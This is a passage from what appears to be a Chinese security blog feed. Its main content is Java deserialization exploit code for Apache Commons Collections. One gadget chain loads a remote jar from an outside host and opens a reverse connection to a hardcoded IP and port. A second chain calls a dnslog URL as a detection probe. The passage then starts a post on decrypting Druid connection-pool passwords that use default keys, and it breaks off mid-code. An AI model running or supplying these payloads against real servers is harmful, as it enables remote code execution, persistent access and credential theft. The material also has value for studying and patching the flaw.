CommonsCollections1.class.newInstance()</span><br><span class="line">				.getObject(<span class="string">"10.18.180.34:8080"</span>);</span><br><span class="line"></span><br><span class="line">		<span class="comment">//deserialize(serialize(objBefore));</span></span><br><span class="line">		</span><br><span class="line">		File f = <span class="keyword">new</span> File(<span class="string">"/Users/iswin/Downloads/payloadsfinal.bin"</span>);</span><br><span class="line">		ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(f));</span><br><span class="line">		out.writeObject(objBefore);</span><br><span class="line">		out.flush();</span><br><span class="line">		out.close();</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>效果<br><img src="/attach/reverse.png" height="400"></p>
<h4 id="TransformedMap的实现方式"><a href="#TransformedMap的实现方式" class="headerlink" title="TransformedMap的实现方式"></a>TransformedMap的实现方式</h4><p>直接上代码</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Retention;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Map.Entry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@ClassName</span>: Main.java</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: TODO</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> iswin</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@email</span> admin@iswin.org</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Date</span> 2015年11月8日 下午12:12:13</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title">Reverse_Payload</span><span class="params">(String ip, <span class="keyword">int</span> port)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="keyword">final</span> Transformer[] transforms = <span class="keyword">new</span> Transformer[] &#123;</span><br><span class="line">				<span class="keyword">new</span> ConstantTransformer(java.net.URLClassLoader.class),</span><br><span class="line">				<span class="comment">// getConstructor class.class classname</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"getConstructor"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Class[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> Class[] &#123; java.net.URL[].class &#125; &#125;),</span><br><span class="line">				<span class="comment">// newinstance string http://www.iswin.org/attach/iswin.jar</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(</span><br><span class="line">						<span class="string">"newInstance"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Object[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> java.net.URL[] &#123; <span class="keyword">new</span> java.net.URL(</span><br><span class="line">								<span class="string">"http://www.iswin.org/attach/iswin.jar"</span>) &#125; &#125; &#125;),</span><br><span class="line">				<span class="comment">// loadClass String.class R</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"loadClass"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; String.class &#125;, <span class="keyword">new</span> Object[] &#123; <span class="string">"R"</span> &#125;),</span><br><span class="line">				<span class="comment">// set the target reverse ip and port</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"getConstructor"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Class[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> Class[] &#123; String.class &#125; &#125;),</span><br><span class="line">				<span class="comment">// invoke</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"newInstance"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Object[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> String[] &#123; ip + <span class="string">":"</span> + port &#125; &#125;),</span><br><span class="line">				<span class="keyword">new</span> ConstantTransformer(<span class="number">1</span>) &#125;;</span><br><span class="line"></span><br><span class="line">		Transformer transformerChain = <span class="keyword">new</span> ChainedTransformer(transforms);</span><br><span class="line">		Map innermap = <span class="keyword">new</span> HashMap();</span><br><span class="line">		innermap.put(<span class="string">"value"</span>, <span class="string">"value"</span>);</span><br><span class="line">		Map outmap = TransformedMap.decorate(innermap, <span class="keyword">null</span>, transformerChain);</span><br><span class="line"></span><br><span class="line">		Class cls = Class</span><br><span class="line">				.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);</span><br><span class="line">		Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">		ctor.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">		Object instance = ctor.newInstance(Retention.class, outmap);</span><br><span class="line">		<span class="keyword">return</span> instance;</span><br><span class="line"></span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		GeneratePayload(Reverse_Payload(<span class="string">"146.185.182.237"</span>, <span class="number">8090</span>),</span><br><span class="line">				<span class="string">"/Users/iswin/Downloads/test.bin"</span>);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">GeneratePayload</span><span class="params">(Object instance, String file)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		File f = <span class="keyword">new</span> File(file);</span><br><span class="line">		ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(f));</span><br><span class="line">		out.writeObject(instance);</span><br><span class="line">		out.flush();</span><br><span class="line">		out.close();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">payloadTest</span><span class="params">(String file)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="comment">// 这里为测试上面的tansform是否会触发payload</span></span><br><span class="line">		<span class="comment">// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();</span></span><br><span class="line">		<span class="comment">// onlyElement.setValue("foobar");</span></span><br><span class="line">		</span><br><span class="line">		ObjectInputStream in = <span class="keyword">new</span> ObjectInputStream(<span class="keyword">new</span> FileInputStream(file));</span><br><span class="line">		in.readObject();</span><br><span class="line">		in.close();</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h4 id="漏洞检测？"><a href="#漏洞检测？" class="headerlink" title="漏洞检测？"></a>漏洞检测？</h4><p>这里提供一个poc供大家进行检测，其实就是发送一个http请求到指定ip，然后参数中带有特定特征来判断是否存在漏洞，直接观察日志就可以了。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> iswin;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CommonsCollections1</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> InvocationHandler <span class="title">getObject</span><span class="params">(<span class="keyword">final</span> String ip)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="keyword">final</span> Transformer transformerChain = <span class="keyword">new</span> ChainedTransformer(</span><br><span class="line">				<span class="keyword">new</span> Transformer[] &#123; <span class="keyword">new</span> ConstantTransformer(<span class="number">1</span>) &#125;);</span><br><span class="line"></span><br><span class="line">		<span class="keyword">final</span> Transformer[] transformers = <span class="keyword">new</span> Transformer[] &#123;</span><br><span class="line">				<span class="keyword">new</span> ConstantTransformer(java.net.URL.class),</span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"getConstructor"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Class[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> Class[] &#123; String.class &#125; &#125;),</span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"newInstance"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Object[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> String[] &#123; ip &#125; &#125;),</span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"openStream"</span>, <span class="keyword">new</span> Class[] &#123;&#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123;&#125;), <span class="keyword">new</span> ConstantTransformer(<span class="number">1</span>) &#125;;</span><br><span class="line"></span><br><span class="line">		<span class="comment">// final Map innerMap = new HashMap();</span></span><br><span class="line">		<span class="comment">//</span></span><br><span class="line">		<span class="comment">// final Map lazyMap = LazyMap.decorate(new HashMap(),</span></span><br><span class="line">		<span class="comment">// transformerChain);</span></span><br><span class="line"></span><br><span class="line">		<span class="comment">// this will generate a</span></span><br><span class="line">		<span class="comment">// AnnotationInvocationHandler(Override.class,lazymap) invocationhandler</span></span><br><span class="line">		InvocationHandler invo = (InvocationHandler) getFirstCtor(</span><br><span class="line">				<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>)</span><br><span class="line">				.newInstance(Override.class,</span><br><span class="line">						LazyMap.decorate(<span class="keyword">new</span> HashMap(), transformerChain));</span><br><span class="line"></span><br><span class="line">		<span class="keyword">final</span> Map mapProxy = Map.class.cast(Proxy.newProxyInstance(<span class="keyword">this</span></span><br><span class="line">				.getClass().getClassLoader(), <span class="keyword">new</span> Class[] &#123; Map.class &#125;, invo));</span><br><span class="line"></span><br><span class="line">		<span class="keyword">final</span> InvocationHandler handler = (InvocationHandler) getFirstCtor(</span><br><span class="line">				<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>)</span><br><span class="line">				.newInstance(Override.class, mapProxy);</span><br><span class="line"></span><br><span class="line">		setFieldValue(transformerChain, <span class="string">"iTransformers"</span>, transformers);</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> handler;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">public</span> <span class="keyword">static</span> Constructor&lt;?&gt; getFirstCtor(<span class="keyword">final</span> String name)</span><br><span class="line">			<span class="keyword">throws</span> Exception &#123;</span><br><span class="line">		<span class="keyword">final</span> Constructor&lt;?&gt; ctor = Class.forName(name)</span><br><span class="line">				.getDeclaredConstructors()[<span class="number">0</span>];</span><br><span class="line">		ctor.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">		<span class="keyword">return</span> ctor;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Field <span class="title">getField</span><span class="params">(<span class="keyword">final</span> Class&lt;?&gt; clazz, <span class="keyword">final</span> String fieldName)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		Field field = clazz.getDeclaredField(fieldName);</span><br><span class="line">		<span class="keyword">if</span> (field == <span class="keyword">null</span> &amp;&amp; clazz.getSuperclass() != <span class="keyword">null</span>) &#123;</span><br><span class="line">			field = getField(clazz.getSuperclass(), fieldName);</span><br><span class="line">		&#125;</span><br><span class="line">		field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">		<span class="keyword">return</span> field;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">setFieldValue</span><span class="params">(<span class="keyword">final</span> Object obj, <span class="keyword">final</span> String fieldName,</span></span></span><br><span class="line"><span class="function"><span class="params">			<span class="keyword">final</span> Object value)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="keyword">final</span> Field field = getField(obj.getClass(), fieldName);</span><br><span class="line">		field.set(obj, value);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">final</span> Object objBefore = CommonsCollections1.class.newInstance()</span><br><span class="line">				.getObject(<span class="string">"http://abc.333d61.dnslog.info/tangscan/iswin.jpg"</span>);</span><br><span class="line"></span><br><span class="line">		File f = <span class="keyword">new</span> File(<span class="string">"/Users/iswin/Downloads/hello.bin"</span>);</span><br><span class="line">		ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(f));</span><br><span class="line">		out.writeObject(objBefore);</span><br><span class="line">		out.flush();</span><br><span class="line">		out.close();</span><br><span class="line"></span><br><span class="line">		<span class="comment">// Serializables.deserialize(Serializables.serialize(objBefore));</span></span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p>[1] :<a href="https://github.com/frohoff/ysoserial/" target="_blank" rel="noopener">https://github.com/frohoff/ysoserial/</a><br>[2] :<a href="http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss" target="_blank" rel="noopener">http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;本文主要讨论Apache CommonsCollections组件的Deserialize功能存在的问题，该问题其实在2015年1月份在国外已经被发现，直到在今年11月初才被国内相关网站发现并且在安全圈子里面迅速升温，不少安全公司已经采用批量化的程
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="Deserialize" scheme="https://www.iswin.org/tags/Deserialize/"/>
    
  </entry>
  
  <entry>
    <title>Druid数据连接池字符串解密</title>
    <link href="https://www.iswin.org/2015/09/21/Druid-DataSource-ConnectString-Decrypt/"/>
    <id>https://www.iswin.org/2015/09/21/Druid-DataSource-ConnectString-Decrypt/</id>
    <published>2015-09-21T13:31:50.000Z</published>
    <updated>2017-01-23T17:22:59.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="Driud是什么"><a href="#Driud是什么" class="headerlink" title="Driud是什么"></a>Driud是什么</h3><blockquote>
<p>Druid是阿里巴巴开源平台上的一个项目，整个项目由数据库连接池、插件框架和SQL解析器组成。该项目主要是为了扩展JDBC的一些限制，可以让程序员实现一些特殊的需求，比如向密钥服务请求凭证、统计SQL信息、SQL性能收集、SQL注入检查、SQL翻译等，程序员可以通过定制来实现自己需要的功能。</p>
</blockquote>
<h3 id="Druid解密方式"><a href="#Druid解密方式" class="headerlink" title="Druid解密方式"></a>Druid解密方式</h3><p>Druid数据库加密算法采用的是RSA非对称加解密，并且秘钥的配置支持多种方式：</p>
<ul>
<li>远程加载秘钥文件</li>
<li>读取本地秘钥文件</li>
<li>使用系统属性加载秘钥</li>
<li>使用默认秘钥加解密</li>
</ul>
<h4 id="远程加载"><a href="#远程加载" class="headerlink" title="远程加载"></a>远程加载</h4><p>在Spring中配置像这样：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;bean id=<span class="string">"dataSource"</span> <span class="class"><span class="keyword">class</span></span>=<span class="string">"com.alibaba.druid.pool.DruidDataSource"</span> init-method=<span class="string">"init"</span> destroy-method=<span class="string">"close"</span>&gt;</span><br><span class="line">      &lt;property name=<span class="string">"filters"</span> value=<span class="string">"config"</span> /&gt;</span><br><span class="line">      &lt;property name=<span class="string">"connectionProperties"</span> value=<span class="string">"config.file=http://remote:8080/remote.propreties; /&gt;</span></span><br><span class="line"><span class="string"> &lt;/bean&gt;</span></span><br></pre></td></tr></table></figure>
<p>从远程服务器中加载包含秘钥的remote.propreties</p>
<p>####读取本地秘钥<br>读取本地配置文件</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;bean id=<span class="string">"dataSource"</span> <span class="class"><span class="keyword">class</span></span>=<span class="string">"com.alibaba.druid.pool.DruidDataSource"</span></span><br><span class="line">      init-method=<span class="string">"init"</span> destroy-method=<span class="string">"close"</span>&gt;</span><br><span class="line">      &lt;property name=<span class="string">"filters"</span> value=<span class="string">"config"</span> /&gt;</span><br><span class="line">      &lt;property name=<span class="string">"connectionProperties"</span> value=<span class="string">"config.file=file:///home/admin/druid-pool.properties"</span> /&gt;</span><br><span class="line">  &lt;/bean&gt;</span><br></pre></td></tr></table></figure>
<h4 id="系统属性中获取秘钥"><a href="#系统属性中获取秘钥" class="headerlink" title="系统属性中获取秘钥"></a>系统属性中获取秘钥</h4><p>获取解密的代码如下：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String SYS_PROP_CONFIG_KEY     = <span class="string">"druid.config.decrypt.key"</span>;</span><br><span class="line">key = System.getProperty(SYS_PROP_CONFIG_KEY);</span><br></pre></td></tr></table></figure>
<p>如果前两种方式都未能找到解密的KEY，那么会在java系统熟悉中去获取秘钥。</p>
<h4 id="默认秘钥"><a href="#默认秘钥" class="headerlink" title="默认秘钥"></a>默认秘钥</h4><p>如果上述所有方法都无法获取秘钥，那么程序将使用默认秘钥去加解密。</p>
<h3 id="解密"><a href="#解密" class="headerlink" title="解密"></a>解密</h3><p>找到秘钥后就可以使用下列代码进行解密，不过大多数开发都是采用默认秘钥去加密字符串，实质上并没有什么卵用。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.iswin.csv;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.security.InvalidKeyException;</span><br><span class="line"><span class="keyword">import</span> java.security.Key;</span><br><span class="line"><span class="keyword">import</span> java.security.KeyFactory;</span><br><span 